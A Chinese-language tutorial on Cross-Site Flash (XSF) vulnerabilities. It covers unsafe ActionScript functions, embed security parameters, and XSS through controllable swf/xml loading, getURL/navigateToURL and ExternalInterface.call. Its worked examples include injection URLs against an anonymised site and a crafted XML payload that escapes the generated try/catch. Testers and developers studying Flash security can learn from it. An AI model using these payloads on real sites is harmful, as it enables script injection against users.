1. XSF简介
跨站flash也称为CrossSite Flash(XSF)问题,主要是使用ActionScript脚本产生的xss问题,主要有两种方式:加载第三方资源和与javascript通信引发。
Owasp中给出了以下几个不安全的ActionScript函数(如图1),若是对这些控制不好的话就很容易产生安全问题。
图1 ActionScript函数
前面几个函数主要是可以记载第三方资源,这个在html页面嵌入Flash时候经常会使用到,在HTML嵌入Flash时,有几个安全相关的参数需要说明下,这个对于Flash安全问题是非常重要的,可以使用firebug在html下观察到。
A. allowNetworking
该参数控制flash的网络访问行为,有三个值可供选择:all(默认值,所有的api可直接访问网络)、internal(除了不能使用浏览器导航和浏览器交互的api外,如navigateToURL,fscommand,externalInterface.call等,其他可用)、none(所有api不允许)。
B. allowScriptAccess
这个是与javascript通信涉及到的安全机制,在AS3中主要是ExternalInterface对象,有三个值:never(不能进行javascript通信操作)、sameDomain(局域网之间的javascript通信)、always(允许所有的域进行通信,危险配置)。
C. allowFullScreen
全屏模式,值为Boolean值,默认为false,不允许,这个在界面劫持中可以用到。
2. 简要分析
2.1 加载第三方资源
这个比较容易发现,我们如果在单独访问一个flash文件时,在firebug中出现了访问其他flash资源或者xml资源时就可以判断出这个flash加载了其他的资源,但是这个资源能否被我们利用还需要继续分析,其中在测试的时候注意在本地域增加crossdomain.xml文件。
2.1.1 加载swf文件
在AS2中,loadMovie等参数可以加载第三方文件,如:LoadMovie(_root.url)
访问链接:http://www.nomal.com/load.swf?url=http://other.com/xss.swf
在AS3中,已经去掉这个函数,改由loader来进行外部数据处理。
varparam:Object = root.loaderInfo.parameters;
varurl:String = param["url"];
varloader:URLLoader = new URLLoader(new URLRequest(url));
loader.load(url)
利用链接:http://www.nomal.com/load.swf?url=http://other.com/xss.swf
因此在反编译中查找这些函数进行检查,若调用的参数可控则有可能产生xss问题,但是这个的触发需要比较困难,由于flash沙盒的保护,直接使用地址并不能造成危险。这个需要结合HTML嵌入flash来进行,因此需要使用反射XSS或DOMXSS的配合,并且需要上述所讲的三个参数的配合,这种问题比较难利用。
举个实例:
访问http://xxxxxx.com/bin/mainUsercenter.swf,在firebug下发现网络访问:
图2 swf加载swf及xml资源
加载了其他的资源,这时先不考虑xml的问题,后面会说到。反编译该flash文件发现:
图3 flash反编译代码
其中在搜索parameters.sub_url发现未初始化,并且使用了load加载。 自己构造一个带有xss问题的flash放在本地域下,如图4所示:
图4 本地swf
和上面问题代码一样,那么就可以利用链接:
http://xxxxx.com/bin/mainUsercenter.swf?sub_url=http://127.0.0.1/flash/xss/xss.swf
来加载我们自己的swf资源,访问后查看在访问问题swf时也get请求了本地的swf。
图5 swf资源调用
测试发现:确实访问了我们本机的swf,但是并没有弹出框框来,但是截获数据包可以发现get请求本地的referer值是问题swf的域,那么应该是可以突破referer限制,用来触发csrf,大家试试看。
对于为啥没有触发,这个需要研究flash的安全沙箱问题,这个不在这里说了。其实要想触发xss还是可以的,利用反射XSS或者DOMXSS把嵌入html本身带有的swf链接修改就可以了。这有个测试,写个html页面:
关键代码为:
图6 本地测试html
访问本地构造的html,同时访问有问题的swf:
图7 本地html测试
传递的资源swf被修改本地swf文件,调用后成功触发:
图8 触发xss
这个利用起来确实比较困难,但是对于有些富文本输入的地方,比如邮箱源码状态或者论坛源码状态下,将这个代码加入到源码中,若是没有对安全配置中的三个参数进行安全配置的话就会产生很大的危险。
2.1.2 加载xml资源
这个比较危险,很容易也很简单触发xss问题,在看图2的下方,可以看到该swf调用了xml资源,比较可惜的是测试的flash调用的xml资源被网站删除,无法得知xml的准确格式。其实获取到xml的准确格式,本机构造新的xml,让flash调用,点击相应的地方只要该处有跳转之类的便可以触发。
假设有个xml资源为:
图9 xml资源
简单的修改herf的值,比如修改成伪协议:javascript:alert(/flash_xss/),使用flash加载该xml后点击相应的图片位置就可以直接触发。
2.2 与javascript通信
2.2.1 getURL和navigateToURl()
getURL和navigateToURL()分别是AS2.0和AS3.0下使用的,使用这两个函数触发xss是相当方便的,例如:
getURL(“javascript:alert(1)”)
navigateToURl(newURLRequest(‘javascript:alert(1)’),”_self”)
这个在对xss的挖掘中在源代码中查找这两个方法,观察加载的参数时候可控,很简单的如:在AS2.0中就是_root.para,若没有初始化,有直接带入getURL中,则可能就有引发跨站的问题。在AS3.0中,可控的参数一般由loaderInfo.parameters来接受,若参数值也没初始化,就可能有问题,但是大多数情况下需要自己去在不同的函数调用间跟踪查找这些参数是否初始化。
2.2.2 ExternalInterface
AS2和AS3中都有这个,是专门为flash和javascript通信准备的接口,对于这个主要关注ExternalInterface.call()的调用,该段AS代码一般形式为下:
ExternalInterface.call(‘alert’,’userinput’);
这个在浏览器访问到这个flash文件时,在浏览器中会生成对应的一段javascript代码为:
try{_flash_toXML(alert(“userinput”));}catch(e){“<undefined/>”;}
这个若是call的第二个参数可控的话就很明显的触发跨站的问题。这里需要注意的是在输入”的情况下会转义成”,若输入”就会转义成\”从而闭合掉在浏览器中生成的javascript的代码。
3. 具体事例
下面举个例子进行下简单的说明,这个结合了引用外部xml资源以及与javascript通信才能触发的一个跨站漏洞。
首先看下产生问题的代码:
图10 swf部分代码
很容易看出这个可以加载外部xml,但是是哪个参数加载的,还需要跟踪loadXml方法。发现xmlurl是用户可控的:
图11 swf部分代码
现在需要的是查看下xml的内容是啥,xml的地址在代码中已经给出,访问http://xxxx.com/xml/config.xml,xml的部分内容的为:
图12 xml部分代码
看到这些的话没有任何url的调用,不能更改伪地址进行测试,不过在看as代码时有ExternalInterface.call的使用,跟踪代码发现:
图13 swf部分代码
其中ExternalInterface.call加载了xml里面flashCallJs中的数据,在浏览器中访问形成的js代码则为,判断是否登入:
try{_flash_toXML(isLogin());}catch(e){“<undefined/>”;}
既然能加载外部xml,那直接把flashCallJs中的数据进行改写如下:
<flashCallJs>isLogin()}catch(e){alert(/flash_xss/)};//</flashCallJs>
形成的js代码为:
try{_flash_toXML(isLogin())}catch(e){alert(/flash_xss/)};//);}catch(e){“<undefined/>”;}
由于没有isLogin()的调用,转向catch(e),成功触发xss。
4. 小结
flash的安全性在flash的开发过程中很少人会注意到,除了flash引发的xss问题,flash引发的csrf问题,代码很简单,也很好利用的,重要是隐藏性比较好,还有一些在flash游戏中的破解问题等。
参考文献:
1、钟晨鸣、徐少培:《web前端黑客技术揭秘》
2、https://www.owasp.org/index.php/Testing_for_Cross_site_flashing
转自:http://anquan.163.com/module/pedia/article-00035.html